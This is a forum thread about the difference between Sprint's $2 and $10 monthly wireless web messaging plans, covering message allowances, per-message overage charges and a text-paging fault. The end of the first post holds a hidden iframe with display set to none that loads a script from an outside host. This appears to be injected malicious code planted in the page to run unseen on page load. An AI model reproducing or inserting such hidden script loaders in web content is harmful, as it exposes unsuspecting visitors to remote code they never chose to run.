Anyone know the usage difference in the $2/month and the $10/month wireless web messaging plans? Of course Sprint's web site does not explain the difference and I do not have the entire weekend to talk to braindead customer support people from Sprint who probably will not know what I am talking about anyway. So, I ask the experts.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

The number of text messages/web alerts included. I forget the numbers, but you get something like 500 for $10 and maybe 50 for $2. Not sure of the numbers, but that is the difference.


I think Kim may know this one.

i believe your on point MJ. it comes down to if you use a lot of alerts or not in determining which plan is best for you.

I use a lot. Just wondering what the volumes are. I think I need the $10/month, but would like to see if the $2 would suit my needs.

Carl, you get 30 extra messages for $2 and 500 extra messages for $10. With the wirelessweb plan you get an automatic 50 messages.

If you go over your alloted number, the charge is .10 per message.

Thanks Kimberly:
That is what I needed. I guess it is the 500/month extra for me.

I couldn't find the info on the web site. I logged on to my account and looked at the list of options, but the description for the $2 and $10 package are EXACTLY the same, but neither mentions HOW MANY messages you get. They are brain dead.

Carl, currently they are not "charging" me for my messages and I assume that it is because they have been having trouble with their text paging for about 2 months now.

I have noticed, while viewing my account usage information, that of the 50 alloted messages I get with my WW package I still have 50 messages remaining, even tho I get several pages daily.

Before signing up for anything, you may wanna ride it out, see how long they are gonna waive the message allowance.

Kimberly,
Too late, I already signed up for the $10/month option!

Kim, what kind of messages are you getting?

hmmmmmmm...not really sure what you mean. I get pages using mynumber@messaging.sprintpcs, I get web alerts (shortmail), and I get email notifications.

For the past couple months I have not been getting the full allowable 160 characters in my text pages (I only get about 140), and when I call about it, they tell me they are aware of this nationwide problem and are working on it. Two months later, same problem, so I assumed that until they get the problem fixed they weren't counting messages against the alloted number.

???

I was just going to remind you that someone noted that email notices are not counted against that number. Or at least through sprint mail that is....
